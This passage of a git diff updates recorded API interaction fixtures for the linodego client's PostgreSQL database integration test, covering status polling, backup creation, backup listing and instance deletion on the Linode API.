"123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -19305,23 +22338,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "49" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:50:13 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_write + - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -19330,7 +22366,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19346,10 +22382,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/backups + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"data": [], "page": 1, "pages": 1, "results": 0}' + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -19362,23 +22406,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "49" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:50:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_write + - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -19387,7 +22434,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19403,11 +22450,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/backups + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"data": [{"id": 805540, "type": "snapshot", "label": "postgresbackupforlinodego", - "created": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "active", + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {"170.187.249.150": "primary", "170.187.249.245": + "failover", "139.144.1.196": "failover"}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -19420,23 +22475,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "155" + - "845" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:50:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_write + - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -19445,14 +22503,14 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: "" + body: '{"label":"postgresbackupforlinodego","target":"primary"}' form: {} headers: Accept: @@ -19461,11 +22519,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228/backups/805540 - method: GET + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403/backups + method: POST response: - body: '{"id": 805540, "type": "snapshot", "label": "postgresbackupforlinodego", - "created": "2018-01-02T03:04:05"}' + body: '{}' headers: Access-Control-Allow-Credentials: - "true" @@ -19478,21 +22535,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "106" + - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:50:46 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: @@ -19503,7 +22562,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19519,18 +22578,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403/backups method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", - "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "backing_up", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" @@ -19543,23 +22594,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "691" + - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:51:02 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: @@ -19568,7 +22622,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19584,18 +22638,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403/backups method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", - "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "backing_up", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" @@ -19608,23 +22654,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "691" + - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:51:17 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: @@ -19633,7 +22682,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19649,18 +22698,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403/backups method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", - "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "backing_up", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" @@ -19673,23 +22714,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "691" + - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:51:32 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: @@ -19698,7 +22742,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19714,18 +22758,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403/backups method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", - "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "backing_up", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" @@ -19738,23 +22774,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "691" + - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:51:47 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: @@ -19763,7 +22802,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19779,18 +22818,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403/backups method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", - "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "backing_up", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" @@ -19803,23 +22834,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "691" + - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:52:02 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: @@ -19828,7 +22862,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19844,18 +22878,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403/backups method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", - "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "backing_up", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" @@ -19868,23 +22894,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "691" + - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:52:17 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: @@ -19893,7 +22922,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19909,18 +22938,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403/backups method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", - "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "backing_up", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" @@ -19933,23 +22954,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "691" + - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:52:32 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: @@ -19958,7 +22982,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19974,18 +22998,11 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403/backups method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", - "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "backing_up", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + body: '{"data": [{"id": 1425482, "type": "snapshot", "label": "postgresbackupforlinodego", + "created": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -19998,23 +23015,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "691" + - "156" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:52:47 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: @@ -20023,7 +23043,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -20039,18 +23059,11 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403/backups/1425482 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", - "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "backing_up", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + body: '{"id": 1425482, "type": "snapshot", "label": "postgresbackupforlinodego", + "created": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" @@ -20063,23 +23076,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "691" + - "107" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:52:49 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: @@ -20088,7 +23104,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -20104,18 +23120,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "backing_up", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -20128,16 +23144,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "691" + - "761" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:53:04 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -20153,7 +23172,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -20169,18 +23188,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "active", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {"170.187.249.150": "primary", "170.187.249.245": + "failover", "139.144.1.196": "failover"}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -20193,16 +23213,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "687" + - "845" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:53:19 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -20218,7 +23241,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -20234,7 +23257,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: DELETE response: body: '{}' @@ -20250,15 +23273,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:53:36 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -20273,7 +23300,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestDatabase_Type.yaml b/test/integration/fixtures/TestDatabase_Type.yaml index a86c278bb..df63ce296 100644 --- a/test/integration/fixtures/TestDatabase_Type.yaml +++ b/test/integration/fixtures/TestDatabase_Type.yaml @@ -11,7 +11,7 @@ interactions: - application/json 